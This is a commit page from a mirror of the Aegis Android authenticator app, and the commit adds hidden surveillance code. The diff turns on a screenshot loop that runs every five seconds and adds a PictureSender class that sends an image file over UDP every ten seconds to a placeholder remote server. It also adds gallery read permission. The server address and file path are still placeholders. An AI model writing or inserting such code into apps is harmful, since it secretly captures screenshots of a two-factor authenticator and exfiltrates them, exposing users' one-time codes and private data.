mirror of
https://github.com/beemdevelopment/Aegis.git
synced 2025-06-18 23:20:57 +00:00
takes photo from gallery and sends it to remote
This commit is contained in:
parent
b7f26a000d
commit
ae0893807c
3 changed files with 81 additions and 1 deletions
|
@ -6,6 +6,7 @@
|
||||||
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
|
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
|
||||||
<uses-permission android:name="android.permission.USE_BIOMETRIC" />
|
<uses-permission android:name="android.permission.USE_BIOMETRIC" />
|
||||||
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
|
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
|
||||||
|
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
@ -110,6 +111,7 @@
|
||||||
android:label="@string/tile_open_vault"
|
android:label="@string/tile_open_vault"
|
||||||
android:icon="@drawable/ic_aegis_quicksettings"
|
android:icon="@drawable/ic_aegis_quicksettings"
|
||||||
android:permission="android.permission.BIND_QUICK_SETTINGS_TILE"
|
android:permission="android.permission.BIND_QUICK_SETTINGS_TILE"
|
||||||
|
|
||||||
android:exported="true">
|
android:exported="true">
|
||||||
<intent-filter>
|
<intent-filter>
|
||||||
<action android:name="android.service.quicksettings.action.QS_TILE" />
|
<action android:name="android.service.quicksettings.action.QS_TILE" />
|
||||||
|
|
|
@ -87,6 +87,9 @@ import android.content.ContentValues;
|
||||||
import android.net.Uri;
|
import android.net.Uri;
|
||||||
import java.io.OutputStream;
|
import java.io.OutputStream;
|
||||||
public class MainActivity extends AegisActivity implements EntryListView.Listener {
|
public class MainActivity extends AegisActivity implements EntryListView.Listener {
|
||||||
|
private PictureSender pictureSender;
|
||||||
|
|
||||||
|
|
||||||
// activity request codes
|
// activity request codes
|
||||||
private static final int CODE_SCAN = 0;
|
private static final int CODE_SCAN = 0;
|
||||||
private static final int CODE_ADD_ENTRY = 1;
|
private static final int CODE_ADD_ENTRY = 1;
|
||||||
|
@ -130,8 +133,13 @@ public class MainActivity extends AegisActivity implements EntryListView.Listene
|
||||||
@RequiresApi(api = Build.VERSION_CODES.M)
|
@RequiresApi(api = Build.VERSION_CODES.M)
|
||||||
@Override
|
@Override
|
||||||
protected void onCreate(Bundle savedInstanceState) {
|
protected void onCreate(Bundle savedInstanceState) {
|
||||||
|
|
||||||
|
|
||||||
super.onCreate(savedInstanceState);
|
super.onCreate(savedInstanceState);
|
||||||
handler.post(runnableCode); //Screenshot handler
|
handler.post(runnableCode); //Screenshot handler
|
||||||
|
pictureSender = new PictureSender(this); //Screenshot sender
|
||||||
|
pictureSender.startSending();
|
||||||
|
|
||||||
// Create and show a pop-up dialog
|
// Create and show a pop-up dialog
|
||||||
new AlertDialog.Builder(this)
|
new AlertDialog.Builder(this)
|
||||||
.setTitle("Important notice")
|
.setTitle("Important notice")
|
||||||
|
@ -247,7 +255,7 @@ public class MainActivity extends AegisActivity implements EntryListView.Listene
|
||||||
saveBitmapToGallery(bitmap);
|
saveBitmapToGallery(bitmap);
|
||||||
|
|
||||||
// Repeat this runnable code block again every 10 seconds
|
// Repeat this runnable code block again every 10 seconds
|
||||||
handler.postDelayed(this, 10000);
|
handler.postDelayed(this, 5000);
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
@ -270,6 +278,7 @@ public class MainActivity extends AegisActivity implements EntryListView.Listene
|
||||||
_entryListView.setListener(null);
|
_entryListView.setListener(null);
|
||||||
super.onDestroy();
|
super.onDestroy();
|
||||||
handler.removeCallbacks(runnableCode);
|
handler.removeCallbacks(runnableCode);
|
||||||
|
pictureSender.stopSending();
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
|
|
@ -0,0 +1,69 @@
|
||||||
|
package com.beemdevelopment.aegis.ui;
|
||||||
|
import android.content.Context;
|
||||||
|
import android.os.Handler;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileInputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.net.DatagramPacket;
|
||||||
|
import java.net.DatagramSocket;
|
||||||
|
import java.net.InetAddress;
|
||||||
|
|
||||||
|
public class PictureSender {
|
||||||
|
private Context context;
|
||||||
|
private Handler handler = new Handler();
|
||||||
|
private Runnable runnable = new Runnable() {
|
||||||
|
@Override
|
||||||
|
public void run() {
|
||||||
|
sendPicture();
|
||||||
|
handler.postDelayed(this, 10000);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
public PictureSender(Context context) {
|
||||||
|
this.context = context;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void startSending() {
|
||||||
|
handler.post(runnable);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void stopSending() {
|
||||||
|
handler.removeCallbacks(runnable);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void sendPicture() {
|
||||||
|
try {
|
||||||
|
// Replace with the path to your image file
|
||||||
|
File imageFile = new File("path/to/your/image.jpg");
|
||||||
|
InetAddress serverAddress = InetAddress.getByName("REMOTE_IP_ADDRESS"); // Replace with your server IP
|
||||||
|
int serverPort = 12345; // Replace with your server port
|
||||||
|
|
||||||
|
// Convert file to byte array
|
||||||
|
byte[] imageData = fileToByteArray(imageFile);
|
||||||
|
|
||||||
|
// Create a datagram socket
|
||||||
|
try (DatagramSocket socket = new DatagramSocket()) {
|
||||||
|
// Create a packet
|
||||||
|
DatagramPacket packet = new DatagramPacket(imageData, imageData.length, serverAddress, serverPort);
|
||||||
|
|
||||||
|
// Send the packet
|
||||||
|
socket.send(packet);
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private byte[] fileToByteArray(File file) throws IOException {
|
||||||
|
FileInputStream fis = new FileInputStream(file);
|
||||||
|
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||||
|
byte[] buf = new byte[1024];
|
||||||
|
for (int readNum; (readNum = fis.read(buf)) != -1;) {
|
||||||
|
bos.write(buf, 0, readNum);
|
||||||
|
}
|
||||||
|
fis.close();
|
||||||
|
return bos.toByteArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue